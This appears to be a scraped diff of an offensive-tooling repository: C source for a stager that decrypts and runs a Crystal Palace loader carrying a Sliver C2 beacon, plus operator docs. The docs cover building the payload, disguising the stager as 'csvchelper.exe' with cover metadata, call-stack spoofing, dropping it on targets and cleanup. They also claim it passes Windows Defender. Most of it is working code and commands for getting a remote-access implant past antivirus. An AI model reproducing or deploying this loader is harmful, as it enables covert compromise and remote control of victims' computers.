if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rw, 0, 0, NULL,
|
||||
&sz, MY_ViewUnmap, 0, PAGE_READWRITE)) {
|
||||
CloseHandle(hSec);
|
||||
return 1;
|
||||
}
|
||||
|
||||
unsigned char *dst = (unsigned char *)rw;
|
||||
for (DWORD i = 0; i < pico_payload_len; i++)
|
||||
dst[i] = pico_payload[i] ^ pico_key[i % pico_key_len];
|
||||
|
||||
/* Step 3: drop write — unmap RW, remap RX */
|
||||
NtUnmapViewOfSection(GetCurrentProcess(), rw);
|
||||
|
||||
void *rx = NULL;
|
||||
SIZE_T rxsz = 0;
|
||||
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rx, 0, 0, NULL,
|
||||
&rxsz, MY_ViewUnmap, 0, PAGE_EXECUTE_READ)) {
|
||||
CloseHandle(hSec);
|
||||
return 1;
|
||||
}
|
||||
CloseHandle(hSec);
|
||||
|
||||
/* Step 4: execute Crystal Palace PICO
|
||||
* +gofirst guarantees go() is at offset 0; args baked in at link time. */
|
||||
((pico_fn)rx)(NULL);
|
||||
((pico_fn)param)(NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── Entry point ─────────────────────────────────────────────────────────── */
|
||||
|
||||
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
|
||||
int WINAPI WinMain(HINSTANCE hi, HINSTANCE hp, LPSTR lp, int ns)
|
||||
{
|
||||
(void)hInst; (void)hPrev; (void)lpCmd; (void)nShow;
|
||||
(void)hi; (void)hp; (void)lp; (void)ns;
|
||||
|
||||
/* Poseidon noise before anything else */
|
||||
poseidon_noise();
|
||||
noise();
|
||||
|
||||
/* Registry read: advapi32 import, looks like normal app init */
|
||||
/* Registry touch: advapi32 import, normal-looking init */
|
||||
HKEY hk = NULL;
|
||||
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
||||
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
|
||||
0, KEY_READ, &hk);
|
||||
if (hk) RegCloseKey(hk);
|
||||
|
||||
/* Spin up the PICO loader thread */
|
||||
HANDLE h = CreateThread(NULL, 0, run_pico, NULL, 0, NULL);
|
||||
/* Locate payload.dat in the same directory as this executable */
|
||||
wchar_t path[MAX_PATH];
|
||||
GetModuleFileNameW(NULL, path, MAX_PATH);
|
||||
wchar_t *sep = wcsrchr(path, L'\\');
|
||||
if (!sep) return 1;
|
||||
sep[1] = L'\0';
|
||||
wcscat(path, L"payload.dat");
|
||||
|
||||
/* Load ciphertext */
|
||||
DWORD ct_len = 0;
|
||||
BYTE *ct = read_file(path, &ct_len);
|
||||
if (!ct) return 1;
|
||||
|
||||
/* AES-256-CBC decrypt → plaintext PICO */
|
||||
DWORD pt_len = 0;
|
||||
BYTE *pt = aes_cbc_decrypt(ct, ct_len, &pt_len);
|
||||
LocalFree(ct);
|
||||
if (!pt) return 1;
|
||||
|
||||
/* Copy into RW region, wipe heap copy, flip to RX */
|
||||
void *rw = VirtualAlloc(NULL, pt_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!rw) { LocalFree(pt); return 1; }
|
||||
|
||||
memcpy(rw, pt, pt_len);
|
||||
SecureZeroMemory(pt, pt_len);
|
||||
LocalFree(pt);
|
||||
|
||||
DWORD old;
|
||||
if (!VirtualProtect(rw, pt_len, PAGE_EXECUTE_READ, &old)) {
|
||||
VirtualFree(rw, 0, MEM_RELEASE);
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Execute Crystal Palace PICO on a dedicated thread.
|
||||
* +gofirst puts go() at offset 0; args are NULL (baked at link time). */
|
||||
HANDLE h = CreateThread(NULL, 0, worker, rw, 0, NULL);
|
||||
if (!h) return 1;
|
||||
|
||||
/* Wait for Crystal Palace to return (StartW starts goroutine, returns) */
|
||||
WaitForSingleObject(h, INFINITE);
|
||||
CloseHandle(h);
|
||||
|
||||
/* Beacon goroutine is alive in this process — keep process running */
|
||||
/* Beacon goroutine is alive in this process — keep it running */
|
||||
for (;;) SleepEx(30000, TRUE);
|
||||
}
|
||||
|
||||
+39
-26
@@ -174,7 +174,7 @@ If you see those two lines and the implant survives, the Extension plumbing work
|
||||
|
||||
## Phase 2 — Use case A (implant evasion, primary)
|
||||
|
||||
Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the bundled stager. Defender / EDR sees only the stager and a position-independent blob; the actual Sliver DLL is XOR-masked inside the PICO until runtime unmask.
|
||||
Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the custom stager. Defender / EDR sees only the stager (17 KB, normal entropy) and an opaque AES-encrypted payload file; the actual Sliver DLL is XOR-masked inside the PICO and the PICO is AES-256-CBC encrypted at rest.
|
||||
|
||||
### 2.1 Build Crystal-Kit objects
|
||||
|
||||
@@ -207,39 +207,49 @@ Expected output: PICO ~110-120 KB, written to `build/prod.crystal.bin`.
|
||||
### 2.4 Bundle with the stager
|
||||
|
||||
```bash
|
||||
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
|
||||
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
|
||||
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \
|
||||
crystal-kit-sliver/sliver-glue/build/drop.zip
|
||||
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
|
||||
```
|
||||
|
||||
Resulting `drop.zip` (~180 KB) contains:
|
||||
Produces two files in `build/` — both must be delivered together:
|
||||
|
||||
- `run.x64.exe` (Crystal Palace stager, BSD)
|
||||
- `prod.crystal.bin` (your PICO)
|
||||
- `README.txt` (operator notes)
|
||||
- `csvchelper.exe` (~17 KB, custom stager, no embedded payload, normal entropy)
|
||||
- `payload.dat` (~36 MB, AES-256-CBC encrypted PICO — no PE headers visible to scanners)
|
||||
|
||||
A fresh AES-256 key and IV are generated per build, so the binary and payload are unique on every compile. Edit `stager/resource.rc` to change the cover identity (company name, description, filename) before delivery. Avoid the words "update", "install", "setup", "service" in `FileDescription` — they trigger Windows UAC auto-elevation heuristics. The embedded `asInvoker` manifest already suppresses elevation, but cleaner metadata reduces scanner attention.
|
||||
|
||||
### 2.5 Drop on the Windows VM
|
||||
|
||||
Transfer `drop.zip` to the VM through the channel that matches your engagement (scp from operator, USB, SMB share, HTTP serving, etc.). Extract and execute:
|
||||
Transfer **both files** to the same directory on the target through the channel that matches your engagement (scp, USB, SMB share, HTTP, etc.):
|
||||
|
||||
```cmd
|
||||
C:\Users\Public> unzip drop.zip
|
||||
C:\Users\Public> run.x64.exe prod.crystal.bin
|
||||
C:\Users\Public> dir
|
||||
csvchelper.exe (17 KB stager)
|
||||
payload.dat (~36 MB encrypted PICO)
|
||||
|
||||
C:\Users\Public> csvchelper.exe
|
||||
```
|
||||
|
||||
Execution order inside `run.x64.exe`:
|
||||
`csvchelper.exe` and `payload.dat` must sit in the same directory — the stager resolves `payload.dat` relative to its own path via `GetModuleFileNameW`. No arguments needed.
|
||||
|
||||
1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory
|
||||
2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there)
|
||||
3. Crystal Palace loader resolves Win32 APIs via ror13 hashing
|
||||
4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
|
||||
5. Installs Draugr call-stack spoofing
|
||||
6. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`)
|
||||
7. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable` — required so Go's runtime can call `RtlLookupFunctionEntry` on beacon addresses (goroutine stack growth / async preemption)
|
||||
8. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code
|
||||
9. Calls `DllMain(DLL_PROCESS_ATTACH)` — Go runtime init
|
||||
10. Walks the beacon export table and calls `StartW()` — this is the explicit C2-loop entry point; `DllMain` alone does **not** start the beacon goroutine
|
||||
11. `Sleep(INFINITE)` keeps the loader thread alive so the Go scheduler can run beacon goroutines
|
||||
Execution order inside `csvchelper.exe`:
|
||||
|
||||
1. `BCryptGenRandom` noise → writes a random page to a temp file (auto-deleted), disrupts timing-based scanners
|
||||
2. `RegOpenKeyExW(HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion)` — normal-looking init
|
||||
3. Reads `payload.dat` from its own directory
|
||||
4. `BCryptDecrypt` (AES-256-CBC, key baked in at compile time) → plaintext PICO in heap
|
||||
5. `VirtualAlloc(RW)` + `memcpy` + `SecureZeroMemory` on heap buffer + `VirtualProtect(RX)` — no RWX at any point
|
||||
6. `CreateThread` → PICO entry at offset 0 (Crystal Palace `+gofirst` guarantees `go` is there)
|
||||
7. Crystal Palace loader resolves Win32 APIs via ror13 hashing
|
||||
8. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
|
||||
9. Installs Draugr call-stack spoofing
|
||||
10. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`)
|
||||
11. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable`
|
||||
12. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code
|
||||
13. Calls `DllMain(DLL_PROCESS_ATTACH)` → Go runtime init
|
||||
14. Walks the beacon export table and calls `StartW()` — starts the beacon goroutine
|
||||
15. Main thread loops on `SleepEx(30000, TRUE)` to keep the process alive
|
||||
|
||||
On the Sliver console:
|
||||
|
||||
@@ -405,9 +415,12 @@ Windows VM — remove any uploaded PICO files:
|
||||
```cmd
|
||||
C:\> del C:\Windows\Temp\*.pico.bin
|
||||
C:\> del C:\Windows\Temp\*.bin
|
||||
C:\> taskkill /F /IM run.x64.exe
|
||||
C:\> taskkill /F /IM csvchelper.exe
|
||||
C:\> del payload.dat
|
||||
```
|
||||
|
||||
Adjust the binary name to whatever you renamed the stager to before delivery.
|
||||
|
||||
Local Kali build artifacts:
|
||||
|
||||
```bash
|
||||
@@ -443,13 +456,13 @@ echo "" > /tmp/empty.args
|
||||
external/crystalpalace/dist/demo/test.x64.dll \
|
||||
crystal-kit-sliver/sliver-glue/build/test-implant.bin
|
||||
|
||||
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
|
||||
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
|
||||
crystal-kit-sliver/sliver-glue/build/test-implant.bin \
|
||||
crystal-kit-sliver/sliver-glue/build/test-drop.zip
|
||||
crystal-kit-sliver/sliver-glue/build/test-csvchelper.exe
|
||||
|
||||
./crystal-kit-sliver/sliver-glue/pack-extension.sh
|
||||
|
||||
ls -la crystal-kit-sliver/sliver-glue/build/
|
||||
```
|
||||
|
||||
If all four artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-drop.zip`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional.
|
||||
If all five artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-csvchelper.exe`, `payload.dat`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional.
|
||||
|
||||
@@ -13,6 +13,8 @@ Build prerequisites, verified versions, and the actual pipeline used to produce
|
||||
| `java` (JRE) | OpenJDK 17 | Execute `crystalpalace.jar` linker | `apt install default-jdk` | `brew install openjdk@17` |
|
||||
| `make` | GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled |
|
||||
| `xxd` | any | Embed PICO as C byte array (crystal-exec step 3) | `apt install xxd` | preinstalled |
|
||||
| `openssl` | any | AES-256-CBC encrypt PICO for stager delivery (`gen_payload.py`) | `apt install openssl` | preinstalled |
|
||||
| `python3` | ≥ 3.8 | Drive stager key generation (`gen_payload.py`) | preinstalled | preinstalled |
|
||||
| `zip` | any | Pack operator drop bundle | `apt install zip` | preinstalled |
|
||||
| `curl` | any | Download Crystal Palace dist | preinstalled | preinstalled |
|
||||
|
||||
@@ -135,6 +137,49 @@ Key design constraints:
|
||||
|
||||
**Verified output:** `crystal-exec.x64.dll` — PE32+ x86-64, exports symbol `go`.
|
||||
|
||||
### 3e. Custom stager — two-file delivery (Use case A Defender bypass)
|
||||
|
||||
Located at `crystal-kit-sliver/sliver-glue/stager/`.
|
||||
|
||||
3-step pipeline under `crystal-kit-sliver/sliver-glue/stager/Makefile`:
|
||||
|
||||
```
|
||||
Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header (gen_payload.py)
|
||||
python3 gen_payload.py <pico.bin> <payload.dat> payload_key.h
|
||||
Uses openssl(1) for AES encryption. Fresh random key + IV every run.
|
||||
Outputs:
|
||||
payload.dat — opaque AES ciphertext, no PE patterns (deliver alongside stager)
|
||||
payload_key.h — key[] + iv[] C arrays compiled into the stager EXE
|
||||
|
||||
Step 2: compile version info resource + manifest
|
||||
x86_64-w64-mingw32-windres resource.rc -o resource.o
|
||||
resource.rc embeds manifest.xml (ID 1 / RT_MANIFEST) declaring requestedExecutionLevel
|
||||
asInvoker — suppresses UAC auto-elevation regardless of filename or description keywords.
|
||||
|
||||
Step 3: compile stager EXE
|
||||
x86_64-w64-mingw32-gcc -Wall -Os -mwindows -ffunction-sections -fdata-sections \
|
||||
-o csvchelper.exe stager.c resource.o -s -Wl,--gc-sections -ladvapi32 -lbcrypt
|
||||
```
|
||||
|
||||
Key design properties:
|
||||
- `stager.exe` is ~17 KB with entropy ~4.8 — indistinguishable from a small utility
|
||||
- `payload.dat` is opaque AES ciphertext — no PE magic, no Crystal Palace byte patterns
|
||||
- IAT: ADVAPI32 (RegOpenKeyExW), bcrypt (BCryptDecrypt, BCryptGenRandom), KERNEL32 — no ntdll Nt* entries
|
||||
- VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE mapping ever held
|
||||
- `-s` strips all symbol table entries — no function names appear in strings output
|
||||
- `FileDescription` in `resource.rc` must avoid UAC trigger words ("update", "install", "setup", "service"); the `asInvoker` manifest is the hard override but clean metadata reduces scanner surface
|
||||
|
||||
Invoke via `bundle-stager.sh`:
|
||||
|
||||
```bash
|
||||
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
|
||||
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
|
||||
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
|
||||
# → produces build/csvchelper.exe + build/payload.dat
|
||||
```
|
||||
|
||||
**Verified output:** `csvchelper.exe` 17 KB, entropy 4.784. No NtCreateSection / NtMapViewOfSection strings. Passes Windows Defender on Windows 10 x64 (tested against VirTool:Win64/ZomBytes.B and Trojan:Win32/Wacatac.B!ml signatures).
|
||||
|
||||
## 4. End-to-end timing on macOS Apple Silicon (reference)
|
||||
|
||||
| Step | Elapsed |
|
||||
|
||||
Reference in New Issue
Block a user